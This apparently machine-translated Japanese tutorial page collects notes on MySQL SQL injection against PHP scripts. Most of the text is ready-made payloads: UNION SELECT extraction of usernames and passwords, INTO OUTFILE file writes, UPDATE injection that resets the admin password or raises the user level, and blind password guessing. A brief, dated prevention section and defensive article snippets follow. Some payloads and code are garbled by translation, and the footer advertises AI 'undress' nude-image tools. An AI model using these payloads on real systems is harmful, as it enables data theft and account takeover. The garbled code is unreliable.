SQLインジェクション PHPのSQLインジェクション実装テストコードは安全・安心
SQL インジェクションの焦点は、SQL
ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できるようになります。勉強した後はメモを書き、いつでも使えるようにしています。以下の内容を読んで、まず SQL の基本原理を理解していただければ幸いです。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルのクエリ:
http://127.0.0.1/injection/user.php?username=angel' および LENGTH(password)='6
http://127.0.0.1 /injection/user.php?username=angel' and LEFT(password,1)='m
Union Union ステートメント:
http://127.0.0.1/injection/show.php?id=1' Union select 1,username 、user/* からのパスワード
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*
エクスポート ファイル:
http://127.0.0.1/injection/ user .php?username=angel' を出力ファイル 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt
http : //127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile 'c:/user.txt
INSERT ステートメント:
INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1');
ホームページの値を次のように構築します: http://4ngel.net', '3') #
SQL ステートメントは次のようになります: INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3') #' , '1');
UPDATE ステートメント: これが気に入っています
まずこの SQL を理解してください
UPDATE ユーザー SET パスワード = 'MD5($password)'、ホームページ = '$homepage' WHERE
この SQL が次のフォームで、インジェクションが実現されます
1: ホームページの値を
http://4ngel.net', userlevel='3 に変更します
その後、SQL ステートメントは
UPDATE user SET password='mypass',homepage='http になります: // 4ngel.net', userlevel='3' WHERE
userlevel はユーザー レベルです
2: パスワードの値を
mypass)' WHERE username='admin'# に変更します
その後、SQL ステートメントは
UPDATE user SET password= になります'MD5(mypass )' WHERE username='admin'#)',homepage='$homepage' WHERE
3: ID 値を
' OR username='admin' に変更します
その後、SQL ステートメントは
UPDATE user SET password になります='MD5($ パスワード)'、ホームページ='$homepage' WHERE OR username='admin'
===高度な部分===
よく使用される MySQL 組み込み関数
DATABASE()
USER()
SYSTEM_USER( )
SESSION_USER()
CURRENT_USER ()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
関数アプリケーション
UPDATE記事 SET title=DATABASE() WHERE id =1
http:// 127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108)エンジェル、10 進数に相当します
http://127.0.0.1/injection/user.php?userid=1 およびpassword=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1およびLEFT(password,1)> ;char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
数値を決定し、データ構造内のフィールドのタイプ
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
http://127.0.0.1/injection/show.php?id= -1 Union select char(97), char(97),char(97)
データテーブル名を推測してください
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1メンバーから
ユーザー名とパスワードを取得するためのクロステーブルクエリ
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1,1,1,1,1 ,1,1,1,1,1,1, 1,1,1,1 from ymdown_user where id=1
その他
#最初のパスワードを確認してください
http://127.0.0.1/ymdown/show.php?id =10 Union select 1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord( Mid(password,1,1))=49
===インジェクション防止===
サーバー アスペクト
magic_quotes_gpc がオンに設定されます
display_errors がオフに設定されます
エンコーディング アスペクト
$keywords =addslashes($keywords)
$キーワード = str_replace("_","_",$keywords ; インジェクト
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace ("_","_",$keywords);
$ キーワード = str_replace("%","%",$keywords);
便利な関数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags ()
array_map()
addslashes()
参考記事:
http://www.4ngel.net/article/36.htm (MySQLによるSQLインジェクション)中国語
http://www.phpe.net/mysql_manual/ 06-4.html (MYSQL ステートメントリファレンス)
以上、SQL インジェクションの内容を含め、PHP の SQL インジェクション実装テストコードを紹介しましたが、PHP チュートリアルに興味のある方の参考になれば幸いです。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











0x01 はじめに 概要 編集者は、MySQL で別の Double データ オーバーフローを発見しました。 MySQL で関数を取得する場合、エディターは数学関数に関心があり、値を保存するためのいくつかのデータ型も含まれている必要があります。そこでエディターは、どの関数がオーバーフロー エラーを引き起こすかを確認するテストを実行しました。その後、編集者は、709 より大きい値が渡されると、関数 exp() がオーバーフロー エラーを引き起こすことを発見しました。 mysql>selectexp(709);+----------------------+|exp(709)|+---------- - -----------+|8.218407461554972

Nginx は高速、高性能、スケーラブルな Web サーバーであり、そのセキュリティは Web アプリケーション開発において無視できない問題です。特に SQL インジェクション攻撃は、Web アプリケーションに多大な損害を与える可能性があります。この記事では、Nginx を使用して SQL インジェクション攻撃を防ぎ、Web アプリケーションのセキュリティを保護する方法について説明します。 SQL インジェクション攻撃とは何ですか? SQLインジェクション攻撃とは、Webアプリケーションの脆弱性を悪用する攻撃手法です。攻撃者は悪意のあるコードを Web アプリケーションに挿入する可能性があります

PHP プログラミングのヒント: SQL インジェクション攻撃を防ぐ方法 データベース操作を実行する場合、セキュリティは非常に重要です。 SQL インジェクション攻撃は、アプリケーションによるユーザー入力の不適切な処理を悪用し、悪意のある SQL コードが挿入されて実行される一般的なネットワーク攻撃です。 SQL インジェクション攻撃からアプリケーションを保護するには、いくつかの予防策を講じる必要があります。パラメータ化されたクエリの使用 パラメータ化されたクエリは、SQL インジェクション攻撃を防ぐための最も基本的かつ効果的な方法です。ユーザーが入力した値を SQL クエリと比較することで機能します

ネットワーク セキュリティの分野では、SQL インジェクション攻撃が一般的な攻撃方法です。悪意のあるユーザーが送信した悪意のあるコードを悪用して、アプリケーションの動作を変更し、安全でない操作を実行します。一般的な SQL インジェクション攻撃には、クエリ操作、挿入操作、削除操作が含まれます。その中で、クエリ操作が最もよく攻撃されており、SQL インジェクション攻撃を防ぐ一般的な方法は PHP を使用することです。 PHP は、Web アプリケーションで広く使用されているサーバー側スクリプト言語です。 PHP は MySQL などに関連付けることができます。

PHP フォーム フィルタリング: SQL インジェクションの防止とフィルタリング はじめに: インターネットの急速な発展に伴い、Web アプリケーションの開発はますます一般的になりました。 Web 開発では、フォームはユーザー対話の最も一般的な方法の 1 つです。ただし、フォーム送信データの処理にはセキュリティ上のリスクがあります。その中でも、最も一般的なリスクの 1 つは SQL インジェクション攻撃です。 SQL インジェクション攻撃は、Web アプリケーションを使用してユーザー入力データを不適切に処理し、攻撃者が不正なデータベース クエリを実行できるようにする攻撃手法です。攻撃者は、

PHP SQL インジェクションの脆弱性の検出と修復の概要: SQL インジェクションとは、攻撃者が Web アプリケーションを使用して SQL コードを入力に悪意を持って挿入する攻撃方法を指します。 PHP は、Web 開発で広く使用されているスクリプト言語として、動的な Web サイトやアプリケーションの開発に広く使用されています。ただし、PHP の柔軟性と使いやすさにより、開発者はセキュリティを無視することが多く、その結果、SQL インジェクションの脆弱性が存在します。この記事では、PHP の SQL インジェクションの脆弱性を検出して修正する方法を紹介し、関連するコード例を示します。チェック

Laravel 開発ノート: SQL インジェクションを防ぐ方法とテクニック インターネットの発展とコンピューター技術の継続的な進歩に伴い、Web アプリケーションの開発はますます一般的になりました。開発プロセスにおいて、セキュリティは常に開発者にとって無視できない重要な問題でした。中でも SQL インジェクション攻撃の防止は、開発プロセスにおいて特に注意が必要なセキュリティ課題の 1 つです。この記事では、開発者が SQL インジェクションを効果的に防止できるように、Laravel 開発で一般的に使用されるいくつかの方法とテクニックを紹介します。パラメータバインディングの使用 パラメータバインディングはLarです

SQL インジェクションは、アプリケーションによる入力データの不完全な処理を利用して、悪意のある SQL ステートメントをデータベースに正常に挿入する一般的なネットワーク攻撃手法です。 PHP によるユーザー入力の処理は通常比較的弱いため、この攻撃方法は、PHP 言語を使用して開発されたアプリケーションで特に一般的です。この記事では、SQL インジェクションの脆弱性に対処するためのいくつかの戦略を紹介し、PHP コードの例を示します。プリペアド ステートメントの使用 SQL インジェクションを防御するには、プリペアド ステートメントが推奨される方法です。バインディングパラメータを使用して入力データを結合します。
